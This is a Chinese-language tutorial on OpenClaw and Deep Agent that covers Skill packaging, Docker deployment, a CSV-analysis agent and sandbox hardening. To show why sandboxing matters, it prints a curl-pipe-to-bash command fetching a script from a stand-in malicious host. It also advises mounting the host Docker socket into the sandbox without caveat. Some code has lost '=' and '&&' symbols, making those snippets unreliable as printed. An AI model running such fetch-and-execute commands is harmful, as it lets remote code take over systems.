最近在尝试将大语言模型LLM能力深度集成到企业业务流程中时发现了一个普遍痛点如何让AI智能体Agent不仅会“说”更能安全、可靠地“做”无论是自动生成报表、调用内部API还是执行数据分析脚本都需要一个既能赋予模型强大执行能力又能严格隔离风险的环境。这正是OpenClaw与Deep Agent框架所致力于解决的核心问题。本文将为你带来一份可能是目前最详尽、最贴近企业级实战的 OpenClaw 与 Deep Agent 开发指南。我们将不仅停留在概念层面而是深入其两大核心机制——Skill技能包与Sandbox沙盒代码执行通过完整的代码示例、配置步骤和避坑指南手把手带你构建一个可执行真实任务的企业级智能体。无论你是想探索AI智能体落地的开发者还是正在为业务寻找自动化解决方案的技术负责人这篇文章都将提供一条清晰的实践路径。1. 核心概念解析OpenClaw、Deep Agent、Skill 与 Sandbox在开始动手之前我们必须厘清这几个关键概念及其相互关系这是构建稳定智能体应用的基石。1.1 OpenClaw 是什么OpenClaw是一个开源的、面向企业级应用的AI智能体Agent开发与部署平台。你可以将它理解为一个“智能体操作系统”或“中间件”。它的核心目标不是提供一个聊天机器人而是提供一个框架让开发者能够基于大语言模型如GPT、Claude、本地部署模型等快速构建、编排和管理具备复杂执行能力的AI智能体。核心价值解耦与集成将LLM的推理能力与具体业务工具、API、数据库等执行能力解耦通过标准化方式集成。安全管控提供统一的权限、审计和风险控制层尤其注重代码执行的安全隔离。可观测性提供智能体运行日志、决策链路追踪便于调试和优化。技能市场支持以“Skill技能包”的形式封装和复用能力形成生态。简单说OpenClaw 是“舞台”Deep Agent 是“演员”Skill 是“演员会的才艺”Sandbox 是“演员安全表演才艺的防护网”。1.2 Deep Agent 架构剖析Deep Agent是运行在 OpenClaw 平台上的智能体实例它遵循一种经典的“规划-执行-反思”的ReActReasoning and Acting模式。一个典型的 Deep Agent 工作流如下任务接收从用户或系统接收一个自然语言指令如“分析上季度销售数据并生成一份PPT摘要”。任务规划与工具调用Agent 利用 LLM 进行思考将复杂任务拆解为一系列可执行的子步骤。同时它会从已注册的Skill库中选择最适合当前步骤的工具。安全执行对于需要执行代码如Python脚本处理数据或调用高风险API的步骤Agent 会将代码提交到Sandbox环境中运行。结果观察与反思获取 Sandbox 或 Skill 的执行结果后Agent 会再次利用 LLM 分析结果判断任务是否完成或是否需要调整策略进入下一轮循环。最终输出将多步骤执行的结果整合以自然语言、文件、数据等形式返回给用户。Deep Agent 的强大之处在于它通过 LLM 的动态规划能力能够灵活组合各种 Skill处理非预设的、长链条的复杂任务。1.3 Skill技能包智能体的“武器库”Skill 是 OpenClaw/Deep Agent 生态中的核心能力单元。一个 Skill 就是一个封装好的、可供智能体调用的功能模块。它可以是一个工具函数如获取天气、查询数据库、发送邮件。一个API封装如调用企业内部CRM系统、钉钉/飞书消息推送。一个代码片段模板如数据清洗、图表生成、文本处理的Python脚本。Skill 的核心结构 一个 Skill 通常由以下几部分描述文件定义skill.yaml技能元数据包括名称、描述、版本、作者、输入/输出参数定义等。执行逻辑可以是 Python/JavaScript 代码文件或一个指向 API 的配置。权限声明声明该技能需要访问哪些资源网络、文件系统、特定API密钥等。示例一个简单的“计算器”Skill的skill.yamlname: simple_calculator version: 1.0.0 description: 一个执行基础算术运算的技能。 author: dev_team inputs: - name: expression type: string description: 算术表达式如 (5 3) * 2 required: true outputs: - name: result type: number description: 计算结果的数值 handler: calculator.py # 指向执行逻辑的Python文件通过 Skill开发者可以不断扩展智能体的能力边界而无需修改智能体核心框架。1.4 Sandbox沙盒代码执行的“安全屋”这是企业级应用中最关键的安全组件。Sandbox 为 Skill 中需要动态执行的代码特别是用户输入或LLM生成的代码提供了一个隔离的、资源受控的运行环境。为什么必须用 Sandbox想象一下一个智能体根据用户指令“下载这个链接的文件并分析”LLM 生成了一段 Python 代码os.system(‘curl http://malicious-site.com/evil.sh | bash’)。如果没有 Sandbox这段代码将在主机上直接运行带来灾难性后果。Sandbox 的核心特性隔离性使用容器如Docker、轻量级虚拟机或系统级隔离技术确保沙盒内的操作无法影响宿主机。资源限制严格限制CPU、内存、磁盘、网络的使用。超时控制防止恶意或 bug 代码无限运行。黑白名单限制可导入的模块、可访问的网络地址和系统调用。审计日志记录所有执行的代码、输入输出和系统调用便于事后审查。OpenClaw 的 Sandbox 通常与 Skill 绑定。当一个 Skill 被标记为需要代码执行时OpenClaw 会自动将其调度到 Sandbox 环境中运行并将安全的结果返回给 Agent。2. 环境准备与部署指南理论清晰后我们进入实战环节。首先搭建 OpenClaw 的运行环境。由于 OpenClaw 是一个正在快速迭代的项目以下步骤基于其常见部署模式请根据官方最新文档进行微调。2.1 基础环境要求操作系统推荐 Ubuntu 20.04/22.04 LTS 或 CentOS 8。Windows 可通过 WSL2 或 Docker 部署但生产环境建议 Linux。容器运行时Docker和Docker Compose是必须的因为 OpenClaw 的核心服务通常容器化部署。Python3.8 - 3.11 版本。这是开发和管理 Skill 的主要语言。Node.jsv16可选部分前端管理界面可能需要。硬件至少 4核 CPU8GB 内存20GB 磁盘空间。如果需要运行较大的本地模型需求会显著增加。2.2 使用 Docker Compose 快速部署 OpenClaw这是最推荐的方式能一键拉起所有依赖服务。获取部署文件 从 OpenClaw 官方 GitHub 仓库克隆或下载最新的docker-compose.yml和相关的环境配置文件如.env.example。git clone https://github.com/openclaw/openclaw.git cd openclaw/deploy配置环境变量 复制环境变量模板并修改关键配置。cp .env.example .env # 使用编辑器如vim/nano编辑 .env 文件 vim .env需要关注的关键配置# 设置你的OpenClaw访问域名或IP OPENCLAW_HOSTlocalhost OPENCLAW_PORT8000 # 数据库配置通常由Docker Compose内部创建此处可保持默认 POSTGRES_PASSWORDyour_strong_password # 设置用于Sandbox的Docker Socket路径确保宿主机Docker可被容器内访问 DOCKER_HOSTunix:///var/run/docker.sock # LLM 后端配置例如使用OpenAI API或本地模型 LLM_PROVIDERopenai # 或 ‘local’ ‘azure_openai’ 等 OPENAI_API_KEYsk-xxx # 如果使用OpenAI LOCAL_MODEL_PATH/path/to/your/model # 如果使用本地模型启动服务 使用 Docker Compose 启动所有服务。docker-compose up -d这个命令会在后台启动包括 Web 前端、后端 API、数据库、消息队列、Sandbox 管理器等一系列服务。验证部署 等待几分钟后访问http://localhost:8000或你配置的地址。你应该能看到 OpenClaw 的管理界面。通过docker-compose logs -f可以查看实时日志排查启动问题。2.3 常见部署问题排查避坑指南部署过程很少一帆风顺以下是基于网络热词整理的高频问题及解决方案问题现象可能原因解决方案启动失败日志显示数据库连接错误PostgreSQL 容器启动慢于后端服务导致连接超时。1. 使用docker-compose restart backend单独重启后端服务。2. 在docker-compose.yml的后端服务中添加depends_on健康检查或使用restart: on-failure。访问管理界面报错或空白页前端静态资源未正确编译或 Nginx 配置问题。1. 检查前端容器日志docker-compose logs frontend。2. 确认docker-compose.yml中前端服务的 volumes 映射是否正确。Sandbox 执行代码失败报 Docker 连接错误容器内的服务无法访问宿主机的 Docker Daemon。1. 确保.env中DOCKER_HOST正确指向宿主机的 Docker Socket。2. 在宿主机上将当前用户加入docker组sudo usermod -aG docker $USER并重新登录。3. 在docker-compose.yml的 sandbox 服务中正确挂载/var/run/docker.sock:/var/run/docker.sock。执行 Skill 时报错“找不到 vcruntime140_1.dll”或类似缺失DLL这是在Windows 宿主机或Windows 容器环境下运行某些包含原生依赖如某些Python包的代码时出现的经典错误。根本解决在用于 Sandbox 的 Docker 镜像中安装对应的 Microsoft Visual C Redistributable。临时方案修改 Skill 代码避免使用依赖该运行库的包或寻找纯 Python 实现的替代库。最佳实践为 OpenClaw 的 Sandbox 定制一个基础 Docker 镜像预装所有常用运行库。LLM 调用超时或无响应网络问题、API密钥错误、本地模型未加载。1. 检查.env中的LLM_PROVIDER和 API 密钥配置。2. 如果是本地模型检查模型文件路径是否正确以及模型服务如 Ollama、vLLM是否已启动并监听正确端口。3. 使用curl或 Postman 直接测试 LLM 后端接口。3. 核心开发实战创建你的第一个 Deep Agent 与 Skill环境就绪后我们开始真正的开发。我们将创建一个具备实际功能的 Deep Agent一个“数据分析助手”。它能接受用户关于 CSV 文件的自然语言查询如“计算某列的平均值”自动编写并执行 Python 代码返回结果。3.1 创建并注册一个自定义 Skill我们的第一个 Skill 是“读取 CSV 文件”。Skill 项目结构 在 OpenClaw 的技能开发目录通常由平台指定或可自定义下创建如下结构my_csv_skills/ ├── csv_reader/ │ ├── skill.yaml # 技能定义文件 │ ├── handler.py # 技能执行逻辑 │ └── requirements.txt # Python依赖可选 └── pandas_analyzer/ # 我们稍后创建第二个技能编写skill.yamlname: csv_file_reader version: 1.0.0 description: 读取指定路径的CSV文件并返回前几行数据预览和基础信息。 author: your_name inputs: - name: file_path type: string description: 待读取的CSV文件在沙盒内的绝对路径。 required: true - name: preview_rows type: integer description: 预览数据的行数默认为5。 required: false default: 5 outputs: - name: info type: object description: 包含文件行数、列名等信息的字典。 - name: preview type: string description: 以Markdown表格形式呈现的数据预览。 handler: handler.py runtime: python3.9 # 指定沙盒内的Python环境 capabilities: - file_system.read # 声明需要读取文件系统的权限关键点capabilities字段声明了该技能所需的权限平台会根据此进行安全策略匹配。编写handler.pyimport pandas as pd import json from typing import Dict, Any def handle(inputs: Dict[str, Any]) - Dict[str, Any]: 技能处理函数。 Args: inputs: 包含 file_path 和 preview_rows 的字典。 Returns: 包含 info 和 preview 的字典。 file_path inputs.get(‘file_path’) preview_rows inputs.get(‘preview_rows’, 5) if not file_path: raise ValueError(‘file_path 参数是必需的。’) # 使用 pandas 读取 CSV try: df pd.read_csv(file_path) except Exception as e: return {‘error’: f’读取文件失败: {str(e)}‘} # 构建信息字典 info { ‘row_count’: len(df), ‘column_count’: len(df.columns), ‘columns’: df.columns.tolist(), ‘dtypes’: {col: str(dtype) for col, dtype in df.dtypes.items()} } # 生成预览 Markdown 表格 preview_df df.head(preview_rows) # 简单的 Markdown 表格转换 markdown_table preview_df.to_markdown(indexFalse) return { ‘info’: info, ‘preview’: markdown_table } # 本地测试代码可选 if __name__ ‘__main__’: test_inputs {‘file_path’: ‘/sandbox/test.csv’, ‘preview_rows’: 3} # 这里需要准备一个 test.csv 文件 # result handle(test_inputs) # print(json.dumps(result, indent2, ensure_asciiFalse))注册 Skill 到 OpenClaw 通常 OpenClaw 管理界面提供“技能管理”页面可以上传包含skill.yaml的文件夹或压缩包。也可以通过其 REST API 进行注册。# 示例使用 curl 调用注册 API (假设后端地址为 http://localhost:8000/api) curl -X POST http://localhost:8000/api/v1/skills/register \ -H “Content-Type: multipart/form-data” \ -F “skill/path/to/my_csv_skills/csv_reader.zip”注册成功后你可以在平台的技能列表中看到csv_file_reader。3.2 创建 Deep Agent 并编排 Skill现在我们在 OpenClaw 平台上创建一个 Deep Agent并让它学会使用我们刚注册的技能。在管理界面创建 Agent进入 “Agents” 或 “智能体” 管理页面。点击“新建智能体”命名为“数据分析助手”。在“模型配置”中选择你配置好的 LLM如 GPT-4。在“技能配置”中勾选我们刚添加的csv_file_reader技能以及其他可能需要的系统技能如python_code_executor如果平台提供。配置 Agent 的系统提示词System Prompt 这是引导 Agent 行为的关键。你需要用自然语言告诉 Agent 它是什么、能做什么、如何做。你是一个数据分析助手专门帮助用户分析 CSV 格式的数据。 你拥有以下技能 1. csv_file_reader: 可以读取一个CSV文件并返回文件的基本信息和数据预览。 用户可能会给你一个文件路径并询问关于该文件数据的问题。 你的工作流程是 - 首先使用 csv_file_reader 技能查看文件内容。 - 然后根据用户的具体问题思考是否需要执行计算、筛选或分析。 - 如果需要执行计算你可以编写 Python 代码使用 pandas 库并通过代码执行技能来运行。 - 最后用清晰、友好的语言向用户解释分析结果。 注意所有对文件的读取和代码执行都必须在安全的沙盒环境中进行。不要假设你可以直接访问用户系统。这个提示词定义了 Agent 的角色、可用工具和推理逻辑。3.3 测试与交互上传测试文件 在 OpenClaw 的文件管理或沙盒文件上传界面上传一个sales_data.csv测试文件。记下它在沙盒内的路径例如/sandbox/uploads/sales_data.csv。与 Agent 对话 打开“数据分析助手”的对话界面。你“请帮我分析一下/sandbox/uploads/sales_data.csv这个文件。”Agent思考过程用户想分析一个CSV文件。我应该先用csv_file_reader看看里面有什么。Agent调用技能调用csv_file_reader参数file_path‘/sandbox/uploads/sales_data.csv’。Sandbox在隔离环境中运行handler.py读取文件返回info和preview。Agent观察结果“我看到你的文件有 1000 行5 列分别是 ‘date’, ‘product’, ‘region’, ‘sales’, ‘profit’。前5行数据预览如下...”你“计算一下总销售额是多少。”Agent思考用户需要计算总销售额。我需要编写 Python 代码来执行这个计算。Agent生成并调用代码执行技能生成类似以下的代码并通过平台的代码执行 Skill 在 Sandbox 中运行。import pandas as pd df pd.read_csv(‘/sandbox/uploads/sales_data.csv’) total_sales df[‘sales’].sum() print(f’Total sales: {total_sales}‘)Agent获取代码执行结果“根据计算总销售额为 1,234,567 元。”至此一个具备规划、工具调用和代码安全执行能力的 Deep Agent 就成功运行起来了。4. Sandbox 代码执行深度解析与安全配置Skill 中的代码执行是核心也是风险最高的部分。OpenClaw 的 Sandbox 机制是如何工作的我们又该如何配置以适应企业级安全要求4.1 Sandbox 的工作原理OpenClaw 的 Sandbox 服务通常作为一个独立微服务运行。其工作流程如下请求接收当 Agent 决定执行一段代码时后端会向 Sandbox 服务发起一个执行请求包含代码内容、语言、超时时间、资源限制等。环境准备Sandbox 服务根据请求的runtime如python3.9选择一个预置的 Docker 镜像并启动一个新的、短暂的容器。这个镜像是精简的只包含语言运行环境和白名单内的库。代码注入与执行将待执行的代码文件、可能的输入文件如上传的CSV挂载到容器内。在容器内以非特权用户身份执行代码。监控与资源控制Sandbox 监控容器的 CPU、内存使用并强制执行超时限制。结果捕获捕获容器的标准输出stdout、标准错误stderr以及退出码。环境清理无论执行成功与否容器都会被销毁确保每次执行都在全新的隔离环境中进行。4.2 高级安全配置示例默认的 Sandbox 可能无法满足严格的企业安全策略。我们需要对其进行加固。配置通常位于 OpenClaw 的sandbox服务配置文件中。示例定制一个高安全性的 Python Sandbox 镜像Dockerfile# 使用官方最小化镜像 FROM python:3.9-slim # 1. 使用非root用户运行 RUN groupadd -r sandboxuser useradd -r -g sandboxuser -m -d /home/sandboxuser sandboxuser USER sandboxuser WORKDIR /home/sandboxuser # 2. 仅安装必要的、经过审核的包 # 创建一个requirements.txt明确列出允许的包 COPY --chownsandboxuser:sandboxuser allowed_requirements.txt . RUN pip install --no-cache-dir -r allowed_requirements.txt \ rm -rf /home/sandboxuser/.cache/pip # 3. 移除不必要的系统工具减少攻击面 USER root RUN apt-get purge -y --auto-remove curl wget gnupg \ apt-get clean rm -rf /var/lib/apt/lists/* USER sandboxuser # 4. 设置环境变量防止Python生成字节码文件 ENV PYTHONDONTWRITEBYTECODE1 ENV PYTHONUNBUFFERED1 # 5. 启动命令由Sandbox服务控制 CMD [“python”]allowed_requirements.txt内容pandas1.5.3 numpy1.24.3 # 明确版本避免引入未知更新在 OpenClaw 中配置使用此镜像 修改 Sandbox 服务的配置如sandbox/config.yaml将python3.9的运行时指向你构建的这个安全镜像。runtimes: python3.9: image: ‘your-registry/openclaw-python-secure:3.9‘ command: [‘python’] resources: cpu_limit: ‘1.0‘ memory_limit: ‘512Mi‘ timeout: 30 read_only_rootfs: true # 设置根文件系统只读 network_disabled: true # 禁用网络访问除非技能明确需要 allowed_imports: # Python 导入白名单如果沙盒服务支持此特性 - pandas - numpy - math - json - datetime4.3 代码执行的最佳实践与风险规避永远不要信任 LLM 的原始输出LLM 生成的代码必须经过沙盒执行。即使代码看起来无害也可能包含隐蔽的危险操作如无限循环、内存耗尽攻击。最小权限原则为每个 Skill 定义精确的capabilities。一个只需要读文件的 Skill绝不应该有网络访问或写文件权限。输入验证与清理在 Skill 的handler.py中对输入参数进行严格验证。例如检查文件路径是否在允许的目录内防止路径遍历攻击。资源限制为 Sandbox 设置合理的 CPU、内存和超时限制。一个数据分析任务不应该占用整个服务器的资源。审计与日志确保 Sandbox 的所有执行请求、代码内容、输入输出、资源使用情况都被详细记录并接入企业的日志审计系统。定期更新基础镜像定期更新 Sandbox 使用的 Docker 镜像修补语言解释器和依赖库的安全漏洞。5. 企业级进阶Skill 市场、Agent 编排与监控当单个 Agent 和 Skill 运行稳定后企业级应用需要考虑规模化和运维。5.1 构建内部 Skill 市场OpenClaw 支持 Skill 的打包、发布和共享。你可以搭建一个内部 Skill 市场标准化开发制定内部的 Skill 开发规范YAML 结构、代码风格、测试要求。版本管理每个 Skill 应有清晰的版本号支持回滚。审核流程新 Skill 上线前需经过安全扫描和功能审核。分类与检索为 Skill 打上标签如“数据操作”、“通知”、“审批”方便 Agent 开发者查找和调用。5.2 复杂 Agent 的编排Workflow对于复杂任务可能需要多个 Agent 协同或者一个 Agent 需要遵循固定的业务流程。OpenClaw 可能提供或可集成工作流引擎如基于 Airflow、Prefect 或自定义 DSL。顺序执行先调用 Skill A将其结果作为 Skill B 的输入。条件分支根据 Skill A 的执行结果决定下一步调用哪个 Skill。循环对一组数据循环执行某个 Skill。人工审核节点在某些关键步骤如发送邮件、发布报告插入人工审批。5.3 监控、可观测性与调试Agent 对话日志记录完整的用户输入、Agent 的思考过程、每一步调用的 Skill 及其输入输出。这对于调试 Agent 的“脑回路”和优化提示词至关重要。Skill 执行指标监控每个 Skill 的调用次数、成功率、平均执行时间、错误类型。这有助于发现性能瓶颈或故障 Skill。Sandbox 资源监控监控 Sandbox 集群的总体资源使用率及时扩容或优化。LLM 成本分析如果使用商用 API需要统计各 Agent 的 Token 消耗优化提示词以降低成本。6. 常见问题与故障排除清单以下是在开发和运维 OpenClaw 及 Deep Agent 过程中可能遇到的典型问题速查表。阶段问题排查步骤部署容器启动失败端口冲突。docker-compose ps查看状态netstat -tulnp | grep 端口号检查端口占用修改docker-compose.yml中的端口映射。部署访问管理界面前端报错Nginx 502。检查后端服务日志docker-compose logs backend常见于数据库未就绪或后端应用启动错误。Skill开发Skill 注册成功但 Agent 调用时显示“技能不可用”。1. 检查 Skill 的runtime配置是否与 Sandbox 支持的运行时匹配。2. 检查 Skill 的capabilities是否超出了当前 Agent 或执行环境的权限范围。3. 查看后端日志寻找技能加载或权限验证的错误信息。Skill执行代码在本地运行正常在 Sandbox 中报ModuleNotFoundError。1. 确认 Skill 的requirements.txt已正确声明依赖。2. 确认 Sandbox 的基础镜像中已安装这些依赖。3. 检查是否使用了不在allowed_imports白名单中的模块。Agent交互Agent 不调用 Skill而是尝试用自然语言回答所有问题。1.检查系统提示词是否清晰定义了 Agent 的角色和可用工具是否鼓励它使用工具2.检查技能描述在skill.yaml中的description是否清晰易懂LLM 依赖描述来决定是否调用。3.测试LLM连接确认 LLM 本身工作正常能理解指令。Agent交互Agent 陷入循环不断重复调用同一个 Skill。1. 检查 Skill 的输出格式是否稳定。LLM 可能因为解析输出失败而重试。2. 在系统提示词中增加反思逻辑例如“如果上次操作未能解决问题请尝试另一种方法”。3. 为 Agent 设置最大迭代次数限制。Sandbox代码执行超时或被强制终止。1. 检查代码是否存在死循环或复杂计算。2. 适当增加 Sandbox 配置中的timeout值。3. 优化 Skill 代码性能或对大数据集进行采样处理。集成无法连接到企业内部系统如数据库、API。1. 确认 Sandbox 容器网络是否允许访问目标地址如果网络被禁用则需开启。2. 敏感凭证如数据库密码不应硬编码在 Skill 代码中应使用 OpenClaw 提供的密钥管理服务注入环境变量。7. 总结与展望通过本文的拆解你应该对 OpenClaw 和 Deep Agent 的企业级智能体开发有了一个从概念到实战的完整认识。我们深入探讨了其核心架构并重点攻克了Skill 开发与Sandbox 安全执行这两个最关键、最体现工程深度的模块。核心收获OpenClaw 是一个平台它管理智能体、技能和安全环境是企业集成 AI 能力的“操作台”。Deep Agent 是执行者它利用 LLM 的规划能力动态组合技能来完成复杂任务。Skill 是标准化能力单元通过 YAML 和代码封装实现能力的复用和积累。Sandbox 是安全基石通过容器化隔离和资源限制确保不可信的代码执行不会危及主体系统。下一步可以探索的方向复杂技能链开发能串联多个技能、处理多模态输入如图片、音频的复杂技能。Agent 记忆与学习为 Agent 引入长期记忆向量数据库让它能记住历史对话和用户偏好实现个性化服务。自动化评估与优化构建自动化测试框架对 Agent 在不同场景下的表现进行评估并利用这些数据自动优化系统提示词。与现有系统深度集成将 OpenClaw 的智能体能力嵌入到现有的 OA、CRM、ERP 工作流中实现“AI Copilot”无处不在。企业级智能体的开发是一场关于“能力”与“控制”的平衡艺术。OpenClaw 提供了一套优秀的框架来实践这门艺术。希望这篇教程能成为你探索 AI 智能体世界的坚实起点助你构建出既强大又安全的智能应用。如果在实践中遇到具体问题不妨回头仔细检查 Skill 的定义、Sandbox 的配置以及 Agent 的提示词这三者往往是解决问题的关键所在。